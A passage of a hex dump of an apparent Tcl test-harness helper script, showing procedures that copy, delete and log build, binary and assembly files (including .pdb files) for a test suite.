6c 65 4e 61 6d 65 20 24 66 69 naryFileName $fi a450: 6c 65 4e 61 6d 65 20 24 70 6c 61 74 66 6f 72 6d leName$platform a460: 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 ].. }.... a470: 20 20 20 20 73 65 74 20 74 61 72 67 65 74 44 69 set targetDi a480: 72 65 63 74 6f 72 79 20 5b 66 69 6c 65 20 64 69 rectory [file di a490: 72 6e 61 6d 65 20 24 74 61 72 67 65 74 46 69 6c rname $targetFil a4a0: 65 4e 61 6d 65 5d 0d 0a 0d 0a 20 20 20 20 20 20 eName].... a4b0: 69 66 20 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 if {[catch {.. a4c0: 20 20 20 20 20 20 69 66 20 7b 21 5b 66 69 6c 65 if {![file a4d0: 20 65 78 69 73 74 73 20 24 74 61 72 67 65 74 44 exists$targetD a4e0: 69 72 65 63 74 6f 72 79 5d 7d 20 74 68 65 6e 20 irectory]} then a4f0: 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 66 69 6c {.. fil a500: 65 20 6d 6b 64 69 72 20 24 74 61 72 67 65 74 44 e mkdir $targetD a510: 69 72 65 63 74 6f 72 79 0d 0a 20 20 20 20 20 20 irectory.. a520: 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 66 69 6c }.. fil a530: 65 20 63 6f 70 79 20 2d 66 6f 72 63 65 20 24 73 e copy -force$s a540: 6f 75 72 63 65 46 69 6c 65 4e 61 6d 65 20 24 74 ourceFileName $t a550: 61 72 67 65 74 46 69 6c 65 4e 61 6d 65 0d 0a 20 argetFileName.. a560: 20 20 20 20 20 7d 5d 20 3d 3d 20 30 7d 20 74 68 }] == 0} th a570: 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 en {.. tp a580: 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e uts$::test_chan a590: 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs a5a0: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 \.. " a5b0: 2d 2d 2d 2d 20 63 6f 70 69 65 64 20 65 78 74 65 ---- copied exte a5c0: 72 6e 61 6c 20 66 69 6c 65 20 66 72 6f 6d 20 5c rnal file from \ a5d0: 22 22 20 24 73 6f 75 72 63 65 46 69 6c 65 4e 61 "" $sourceFileNa a5e0: 6d 65 20 22 5c 22 20 74 6f 20 5c 22 22 20 5c 0d me "\" to \"" \. a5f0: 0a 20 20 20 20 20 20 20 20 20 20 20 20 24 74 61 .$ta a600: 72 67 65 74 46 69 6c 65 4e 61 6d 65 20 5c 22 5c rgetFileName \"\ a610: 6e 5d 0d 0a 20 20 20 20 20 20 7d 20 65 6c 73 65 n].. } else a620: 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 75 74 {.. tput a630: 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 s $::test_channe a640: 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d l [appendArgs \. a650: 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d . "-- a660: 2d 2d 20 66 61 69 6c 65 64 20 74 6f 20 63 6f 70 -- failed to cop a670: 79 20 65 78 74 65 72 6e 61 6c 20 66 69 6c 65 20 y external file a680: 66 72 6f 6d 20 5c 22 22 20 24 73 6f 75 72 63 65 from \""$source a690: 46 69 6c 65 4e 61 6d 65 20 5c 0d 0a 20 20 20 20 FileName \.. a6a0: 20 20 20 20 20 20 20 20 22 5c 22 20 74 6f 20 5c "\" to \ a6b0: 22 22 20 24 74 61 72 67 65 74 46 69 6c 65 4e 61 "" $targetFileNa a6c0: 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 me \"\n].. a6d0: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... a6e0: 20 70 72 6f 63 20 74 72 79 43 6f 70 79 42 69 6e proc tryCopyBin a6f0: 61 72 79 46 69 6c 65 20 7b 0d 0a 20 20 20 20 20 aryFile {.. a700: 20 20 20 20 20 20 20 66 69 6c 65 4e 61 6d 65 20 fileName a710: 7b 70 6c 61 74 66 6f 72 6d 20 22 22 7d 20 7b 6e {platform ""} {n a720: 65 77 46 69 6c 65 4e 61 6d 65 20 22 22 7d 20 7b ewFileName ""} { a730: 76 65 72 62 6f 73 65 20 66 61 6c 73 65 7d 20 7d verbose false} } a740: 20 7b 0d 0a 20 20 20 20 20 20 73 65 74 20 73 6f {.. set so a750: 75 72 63 65 46 69 6c 65 4e 61 6d 65 20 5b 67 65 urceFileName [ge a760: 74 42 69 6e 61 72 79 46 69 6c 65 4e 61 6d 65 20 tBinaryFileName a770: 24 66 69 6c 65 4e 61 6d 65 20 24 70 6c 61 74 66$fileName $platf a780: 6f 72 6d 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 orm].... if a790: 20 7b 21 5b 66 69 6c 65 20 65 78 69 73 74 73 20 {![file exists a7a0: 24 73 6f 75 72 63 65 46 69 6c 65 4e 61 6d 65 5d$sourceFileName] a7b0: 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. a7c0: 20 20 69 66 20 7b 24 76 65 72 62 6f 73 65 7d 20 if {$verbose} a7d0: 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. a7e0: 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs$::test_ a7f0: 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA a800: 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. a810: 20 20 20 20 20 22 2d 2d 2d 2d 20 73 6b 69 70 70 "---- skipp a820: 65 64 20 63 6f 70 79 69 6e 67 20 62 69 6e 61 72 ed copying binar a830: 79 20 66 69 6c 65 20 5c 22 22 20 24 73 6f 75 72 y file \"" $sour a840: 63 65 46 69 6c 65 4e 61 6d 65 20 5c 0d 0a 20 20 ceFileName \.. a850: 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 22 2c "\", a860: 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 it does not exi a870: 73 74 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 st\n"].. a880: 7d 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 }.. retur a890: 6e 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 n.. }.... a8a0: 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 20 if {[string a8b0: 6c 65 6e 67 74 68 20 24 6e 65 77 46 69 6c 65 4e length$newFileN a8c0: 61 6d 65 5d 20 3e 20 30 7d 20 74 68 65 6e 20 7b ame] > 0} then { a8d0: 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 74 61 .. set ta a8e0: 72 67 65 74 46 69 6c 65 4e 61 6d 65 20 5b 67 65 rgetFileName [ge a8f0: 74 42 75 69 6c 64 46 69 6c 65 4e 61 6d 65 20 24 tBuildFileName $a900: 6e 65 77 46 69 6c 65 4e 61 6d 65 20 24 70 6c 61 newFileName$pla a910: 74 66 6f 72 6d 5d 0d 0a 20 20 20 20 20 20 7d 20 tform].. } a920: 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 else {.. a930: 73 65 74 20 74 61 72 67 65 74 46 69 6c 65 4e 61 set targetFileNa a940: 6d 65 20 5b 67 65 74 42 75 69 6c 64 46 69 6c 65 me [getBuildFile a950: 4e 61 6d 65 20 24 66 69 6c 65 4e 61 6d 65 20 24 Name $fileName$ a960: 70 6c 61 74 66 6f 72 6d 5d 0d 0a 20 20 20 20 20 platform].. a970: 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 73 65 74 20 }.... set a980: 74 61 72 67 65 74 44 69 72 65 63 74 6f 72 79 20 targetDirectory a990: 5b 66 69 6c 65 20 64 69 72 6e 61 6d 65 20 24 74 [file dirname $t a9a0: 61 72 67 65 74 46 69 6c 65 4e 61 6d 65 5d 0d 0a argetFileName].. a9b0: 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 .. if {[cat a9c0: 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 ch {.. if a9d0: 20 7b 21 5b 66 69 6c 65 20 65 78 69 73 74 73 20 {![file exists a9e0: 24 74 61 72 67 65 74 44 69 72 65 63 74 6f 72 79$targetDirectory a9f0: 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 ]} then {.. aa00: 20 20 20 20 20 66 69 6c 65 20 6d 6b 64 69 72 20 file mkdir aa10: 24 74 61 72 67 65 74 44 69 72 65 63 74 6f 72 79 $targetDirectory aa20: 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 .. }.. aa30: 20 20 20 20 20 66 69 6c 65 20 63 6f 70 79 20 2d file copy - aa40: 66 6f 72 63 65 20 24 73 6f 75 72 63 65 46 69 6c force$sourceFil aa50: 65 4e 61 6d 65 20 24 74 61 72 67 65 74 46 69 6c eName $targetFil aa60: 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 7d 5d 20 eName.. }] aa70: 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 == 0} then {.. aa80: 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs$::t aa90: 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 est_channel [app aaa0: 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. aab0: 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 63 6f 70 "---- cop aac0: 69 65 64 20 62 69 6e 61 72 79 20 66 69 6c 65 20 ied binary file aad0: 66 72 6f 6d 20 5c 22 22 20 24 73 6f 75 72 63 65 from \"" $source aae0: 46 69 6c 65 4e 61 6d 65 20 22 5c 22 20 74 6f 20 FileName "\" to aaf0: 5c 22 22 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 \"" \.. ab00: 20 20 20 24 74 61 72 67 65 74 46 69 6c 65 4e 61$targetFileNa ab10: 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 me \"\n].. ab20: 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 } else {.. ab30: 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ ab40: 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA ab50: 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. ab60: 20 20 20 22 2d 2d 2d 2d 20 66 61 69 6c 65 64 20 "---- failed ab70: 74 6f 20 63 6f 70 79 20 62 69 6e 61 72 79 20 66 to copy binary f ab80: 69 6c 65 20 66 72 6f 6d 20 5c 22 22 20 24 73 6f ile from \""$so ab90: 75 72 63 65 46 69 6c 65 4e 61 6d 65 20 5c 0d 0a urceFileName \.. aba0: 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 22 20 "\" abb0: 74 6f 20 5c 22 22 20 24 74 61 72 67 65 74 46 69 to \"" $targetFi abc0: 6c 65 4e 61 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 20 leName \"\n].. abd0: 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d }.. }.... abe0: 0a 20 20 20 20 70 72 6f 63 20 74 72 79 43 6f 70 . proc tryCop abf0: 79 42 75 69 6c 64 46 69 6c 65 20 7b 0d 0a 20 20 yBuildFile {.. ac00: 20 20 20 20 20 20 20 20 20 20 66 69 6c 65 4e 61 fileNa ac10: 6d 65 20 7b 70 6c 61 74 66 6f 72 6d 20 22 22 7d me {platform ""} ac20: 20 7b 6e 65 77 46 69 6c 65 4e 61 6d 65 20 22 22 {newFileName "" ac30: 7d 20 7b 76 65 72 62 6f 73 65 20 66 61 6c 73 65 } {verbose false ac40: 7d 20 7d 20 7b 0d 0a 20 20 20 20 20 20 73 65 74 } } {.. set ac50: 20 73 6f 75 72 63 65 46 69 6c 65 4e 61 6d 65 20 sourceFileName ac60: 5b 67 65 74 42 75 69 6c 64 46 69 6c 65 4e 61 6d [getBuildFileNam ac70: 65 20 24 66 69 6c 65 4e 61 6d 65 20 24 70 6c 61 e$fileName $pla ac80: 74 66 6f 72 6d 5d 0d 0a 0d 0a 20 20 20 20 20 20 tform].... ac90: 69 66 20 7b 21 5b 66 69 6c 65 20 65 78 69 73 74 if {![file exist aca0: 73 20 24 73 6f 75 72 63 65 46 69 6c 65 4e 61 6d s$sourceFileNam acb0: 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 e]} then {.. acc0: 20 20 20 20 69 66 20 7b 24 76 65 72 62 6f 73 65 if {$verbose acd0: 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 } then {.. ace0: 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs$::tes acf0: 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen ad00: 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. ad10: 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 6b 69 "---- ski ad20: 70 70 65 64 20 63 6f 70 79 69 6e 67 20 62 75 69 pped copying bui ad30: 6c 64 20 66 69 6c 65 20 5c 22 22 20 24 73 6f 75 ld file \"" $sou ad40: 72 63 65 46 69 6c 65 4e 61 6d 65 20 5c 0d 0a 20 rceFileName \.. ad50: 20 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 22 "\" ad60: 2c 20 69 74 20 64 6f 65 73 20 6e 6f 74 20 65 78 , it does not ex ad70: 69 73 74 5c 6e 22 5d 0d 0a 20 20 20 20 20 20 20 ist\n"].. ad80: 20 7d 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 }.. retu ad90: 72 6e 0d 0a 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 rn.. }.... ada0: 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e 67 if {[string adb0: 20 6c 65 6e 67 74 68 20 24 6e 65 77 46 69 6c 65 length$newFile adc0: 4e 61 6d 65 5d 20 3e 20 30 7d 20 74 68 65 6e 20 Name] > 0} then add0: 7b 0d 0a 20 20 20 20 20 20 20 20 73 65 74 20 74 {.. set t ade0: 61 72 67 65 74 46 69 6c 65 4e 61 6d 65 20 5b 67 argetFileName [g adf0: 65 74 42 69 6e 61 72 79 46 69 6c 65 4e 61 6d 65 etBinaryFileName ae00: 20 24 6e 65 77 46 69 6c 65 4e 61 6d 65 20 24 70 $newFileName$p ae10: 6c 61 74 66 6f 72 6d 5d 0d 0a 20 20 20 20 20 20 latform].. ae20: 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 } else {.. ae30: 20 20 73 65 74 20 74 61 72 67 65 74 46 69 6c 65 set targetFile ae40: 4e 61 6d 65 20 5b 67 65 74 42 69 6e 61 72 79 46 Name [getBinaryF ae50: 69 6c 65 4e 61 6d 65 20 24 66 69 6c 65 4e 61 6d ileName $fileNam ae60: 65 20 24 70 6c 61 74 66 6f 72 6d 5d 0d 0a 20 20 e$platform].. ae70: 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 73 }.... s ae80: 65 74 20 74 61 72 67 65 74 44 69 72 65 63 74 6f et targetDirecto ae90: 72 79 20 5b 66 69 6c 65 20 64 69 72 6e 61 6d 65 ry [file dirname aea0: 20 24 74 61 72 67 65 74 46 69 6c 65 4e 61 6d 65 $targetFileName aeb0: 5d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b 5b ].... if {[ aec0: 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 catch {.. aed0: 20 69 66 20 7b 21 5b 66 69 6c 65 20 65 78 69 73 if {![file exis aee0: 74 73 20 24 74 61 72 67 65 74 44 69 72 65 63 74 ts$targetDirect aef0: 6f 72 79 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 ory]} then {.. af00: 20 20 20 20 20 20 20 20 66 69 6c 65 20 6d 6b 64 file mkd af10: 69 72 20 24 74 61 72 67 65 74 44 69 72 65 63 74 ir $targetDirect af20: 6f 72 79 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a ory.. }.. af30: 20 20 20 20 20 20 20 20 66 69 6c 65 20 63 6f 70 file cop af40: 79 20 2d 66 6f 72 63 65 20 24 73 6f 75 72 63 65 y -force$source af50: 46 69 6c 65 4e 61 6d 65 20 24 74 61 72 67 65 74 FileName $target af60: 46 69 6c 65 4e 61 6d 65 0d 0a 20 20 20 20 20 20 FileName.. af70: 7d 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d }] == 0} then {. af80: 0a 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 . tputs$ af90: 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b ::test_channel [ afa0: 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 appendArgs \.. afb0: 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 "---- afc0: 63 6f 70 69 65 64 20 62 75 69 6c 64 20 66 69 6c copied build fil afd0: 65 20 66 72 6f 6d 20 5c 22 22 20 24 73 6f 75 72 e from \"" $sour afe0: 63 65 46 69 6c 65 4e 61 6d 65 20 22 5c 22 20 74 ceFileName "\" t aff0: 6f 20 5c 22 22 20 5c 0d 0a 20 20 20 20 20 20 20 o \"" \.. b000: 20 20 20 20 20 24 74 61 72 67 65 74 46 69 6c 65$targetFile b010: 4e 61 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 Name \"\n].. b020: 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 } else {.. b030: 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs $::tes b040: 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen b050: 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 dArgs \.. b060: 20 20 20 20 20 22 2d 2d 2d 2d 20 66 61 69 6c 65 "---- faile b070: 64 20 74 6f 20 63 6f 70 79 20 62 75 69 6c 64 20 d to copy build b080: 66 69 6c 65 20 66 72 6f 6d 20 5c 22 22 20 24 73 file from \""$s b090: 6f 75 72 63 65 46 69 6c 65 4e 61 6d 65 20 5c 0d ourceFileName \. b0a0: 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 5c 22 . "\" b0b0: 20 74 6f 20 5c 22 22 20 24 74 61 72 67 65 74 46 to \"" $targetF b0c0: 69 6c 65 4e 61 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 ileName \"\n].. b0d0: 20 20 20 20 20 7d 0d 0a 20 20 20 20 7d 0d 0a 0c }.. }... b0e0: 0d 0a 20 20 20 20 70 72 6f 63 20 74 72 79 44 65 .. proc tryDe b0f0: 6c 65 74 65 42 69 6e 61 72 79 46 69 6c 65 20 7b leteBinaryFile { b100: 20 66 69 6c 65 4e 61 6d 65 20 7b 70 6c 61 74 66 fileName {platf b110: 6f 72 6d 20 22 22 7d 20 7b 76 65 72 62 6f 73 65 orm ""} {verbose b120: 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a 20 20 20 false} } {.. b130: 20 20 20 73 65 74 20 66 69 6c 65 4e 61 6d 65 20 set fileName b140: 5b 67 65 74 42 69 6e 61 72 79 46 69 6c 65 4e 61 [getBinaryFileNa b150: 6d 65 20 24 66 69 6c 65 4e 61 6d 65 20 24 70 6c me$fileName $pl b160: 61 74 66 6f 72 6d 5d 0d 0a 0d 0a 20 20 20 20 20 atform].... b170: 20 69 66 20 7b 21 5b 66 69 6c 65 20 65 78 69 73 if {![file exis b180: 74 73 20 24 66 69 6c 65 4e 61 6d 65 5d 7d 20 74 ts$fileName]} t b190: 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 69 hen {.. i b1a0: 66 20 7b 24 76 65 72 62 6f 73 65 7d 20 74 68 65 f {$verbose} the b1b0: 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 74 n {.. t b1c0: 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 puts$::test_cha b1d0: 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 nnel [appendArgs b1e0: 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. b1f0: 20 20 22 2d 2d 2d 2d 20 73 6b 69 70 70 65 64 20 "---- skipped b200: 64 65 6c 65 74 69 6e 67 20 62 69 6e 61 72 79 20 deleting binary b210: 66 69 6c 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 file \"" $fileNa b220: 6d 65 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 me \.. b230: 20 20 20 20 22 5c 22 2c 20 69 74 20 64 6f 65 73 "\", it does b240: 20 6e 6f 74 20 65 78 69 73 74 5c 6e 22 5d 0d 0a not exist\n"].. b250: 20 20 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 }.. b260: 20 20 20 72 65 74 75 72 6e 0d 0a 20 20 20 20 20 return.. b270: 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b }.... if { b280: 5b 63 61 74 63 68 20 7b 66 69 6c 65 20 64 65 6c [catch {file del b290: 65 74 65 20 24 66 69 6c 65 4e 61 6d 65 7d 5d 20 ete$fileName}] b2a0: 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 == 0} then {.. b2b0: 20 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 tputs $::t b2c0: 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 est_channel [app b2d0: 65 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 endArgs \.. b2e0: 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 64 65 6c "---- del b2f0: 65 74 65 64 20 62 69 6e 61 72 79 20 66 69 6c 65 eted binary file b300: 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d 65 20 5c \""$fileName \ b310: 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 7d 20 65 6c "\n].. } el b320: 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 se {.. tp b330: 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e uts $::test_chan b340: 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 73 20 nel [appendArgs b350: 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 22 \.. " b360: 2d 2d 2d 2d 20 66 61 69 6c 65 64 20 74 6f 20 64 ---- failed to d b370: 65 6c 65 74 65 20 62 69 6e 61 72 79 20 66 69 6c elete binary fil b380: 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 6d 65 20 e \""$fileName b390: 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 7d 0d 0a \"\n].. }.. b3a0: 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 70 72 }..... pr b3b0: 6f 63 20 74 72 79 44 65 6c 65 74 65 42 75 69 6c oc tryDeleteBuil b3c0: 64 46 69 6c 65 20 7b 20 66 69 6c 65 4e 61 6d 65 dFile { fileName b3d0: 20 7b 70 6c 61 74 66 6f 72 6d 20 22 22 7d 20 7b {platform ""} { b3e0: 76 65 72 62 6f 73 65 20 66 61 6c 73 65 7d 20 7d verbose false} } b3f0: 20 7b 0d 0a 20 20 20 20 20 20 73 65 74 20 66 69 {.. set fi b400: 6c 65 4e 61 6d 65 20 5b 67 65 74 42 75 69 6c 64 leName [getBuild b410: 46 69 6c 65 4e 61 6d 65 20 24 66 69 6c 65 4e 61 FileName $fileNa b420: 6d 65 20 24 70 6c 61 74 66 6f 72 6d 5d 0d 0a 0d me$platform]... b430: 0a 20 20 20 20 20 20 69 66 20 7b 21 5b 66 69 6c . if {![fil b440: 65 20 65 78 69 73 74 73 20 24 66 69 6c 65 4e 61 e exists $fileNa b450: 6d 65 5d 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 me]} then {.. b460: 20 20 20 20 20 69 66 20 7b 24 76 65 72 62 6f 73 if {$verbos b470: 65 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 e} then {.. b480: 20 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 tputs $::te b490: 73 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 st_channel [appe b4a0: 6e 64 41 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 ndArgs \.. b4b0: 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 6b "---- sk b4c0: 69 70 70 65 64 20 64 65 6c 65 74 69 6e 67 20 62 ipped deleting b b4d0: 75 69 6c 64 20 66 69 6c 65 20 5c 22 22 20 24 66 uild file \""$f b4e0: 69 6c 65 4e 61 6d 65 20 5c 0d 0a 20 20 20 20 20 ileName \.. b4f0: 20 20 20 20 20 20 20 20 20 22 5c 22 2c 20 69 74 "\", it b500: 20 64 6f 65 73 20 6e 6f 74 20 65 78 69 73 74 5c does not exist\ b510: 6e 22 5d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a n"].. }.. b520: 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 0d 0a return.. b530: 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 }.... b540: 20 69 66 20 7b 5b 63 61 74 63 68 20 7b 66 69 6c if {[catch {fil b550: 65 20 64 65 6c 65 74 65 20 24 66 69 6c 65 4e 61 e delete $fileNa b560: 6d 65 7d 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 me}] == 0} then b570: 7b 0d 0a 20 20 20 20 20 20 20 20 74 70 75 74 73 {.. tputs b580: 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c$::test_channel b590: 20 5b 61 70 70 65 6e 64 41 72 67 73 20 5c 0d 0a [appendArgs \.. b5a0: 20 20 20 20 20 20 20 20 20 20 20 20 22 2d 2d 2d "--- b5b0: 2d 20 64 65 6c 65 74 65 64 20 62 75 69 6c 64 20 - deleted build b5c0: 66 69 6c 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 file \"" $fileNa b5d0: 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 me \"\n].. b5e0: 7d 20 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 } else {.. b5f0: 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs$::test_ b600: 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA b610: 72 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 rgs \.. b620: 20 20 20 22 2d 2d 2d 2d 20 66 61 69 6c 65 64 20 "---- failed b630: 74 6f 20 64 65 6c 65 74 65 20 62 75 69 6c 64 20 to delete build b640: 66 69 6c 65 20 5c 22 22 20 24 66 69 6c 65 4e 61 file \"" $fileNa b650: 6d 65 20 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 me \"\n].. b660: 7d 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 }.. }..... b670: 20 70 72 6f 63 20 74 72 79 43 6f 70 79 41 73 73 proc tryCopyAss b680: 65 6d 62 6c 79 20 7b 0d 0a 20 20 20 20 20 20 20 embly {.. b690: 20 20 20 20 20 66 69 6c 65 4e 61 6d 65 20 7b 70 fileName {p b6a0: 6c 61 74 66 6f 72 6d 20 22 22 7d 20 7b 70 64 62 latform ""} {pdb b6b0: 20 74 72 75 65 7d 20 7b 76 65 72 62 6f 73 65 20 true} {verbose b6c0: 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a 20 20 20 20 false} } {.. b6d0: 20 20 74 72 79 43 6f 70 79 42 75 69 6c 64 46 69 tryCopyBuildFi b6e0: 6c 65 20 24 66 69 6c 65 4e 61 6d 65 20 24 70 6c le$fileName $pl b6f0: 61 74 66 6f 72 6d 20 22 22 20 24 76 65 72 62 6f atform ""$verbo b700: 73 65 0d 0a 0d 0a 20 20 20 20 20 20 69 66 20 7b se.... if { b710: 24 70 64 62 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 $pdb} then {.. b720: 20 20 20 20 20 20 74 72 79 43 6f 70 79 42 75 69 tryCopyBui b730: 6c 64 46 69 6c 65 20 5b 61 70 70 65 6e 64 41 72 ldFile [appendAr b740: 67 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 gs \.. b750: 20 20 5b 66 69 6c 65 20 72 6f 6f 74 6e 61 6d 65 [file rootname b760: 20 24 66 69 6c 65 4e 61 6d 65 5d 20 2e 70 64 62$fileName] .pdb b770: 5d 20 24 70 6c 61 74 66 6f 72 6d 20 22 22 20 24 ] $platform ""$ b780: 76 65 72 62 6f 73 65 0d 0a 20 20 20 20 20 20 7d verbose.. } b790: 0d 0a 20 20 20 20 7d 0d 0a 0c 0d 0a 20 20 20 20 .. }..... b7a0: 70 72 6f 63 20 74 72 79 44 65 6c 65 74 65 41 73 proc tryDeleteAs b7b0: 73 65 6d 62 6c 79 20 7b 0d 0a 20 20 20 20 20 20 sembly {.. b7c0: 20 20 20 20 20 20 66 69 6c 65 4e 61 6d 65 20 7b fileName { b7d0: 70 6c 61 74 66 6f 72 6d 20 22 22 7d 20 7b 70 64 platform ""} {pd b7e0: 62 20 74 72 75 65 7d 20 7b 76 65 72 62 6f 73 65 b true} {verbose b7f0: 20 66 61 6c 73 65 7d 20 7d 20 7b 0d 0a 20 20 20 false} } {.. b800: 20 20 20 74 72 79 44 65 6c 65 74 65 42 69 6e 61 tryDeleteBina b810: 72 79 46 69 6c 65 20 24 66 69 6c 65 4e 61 6d 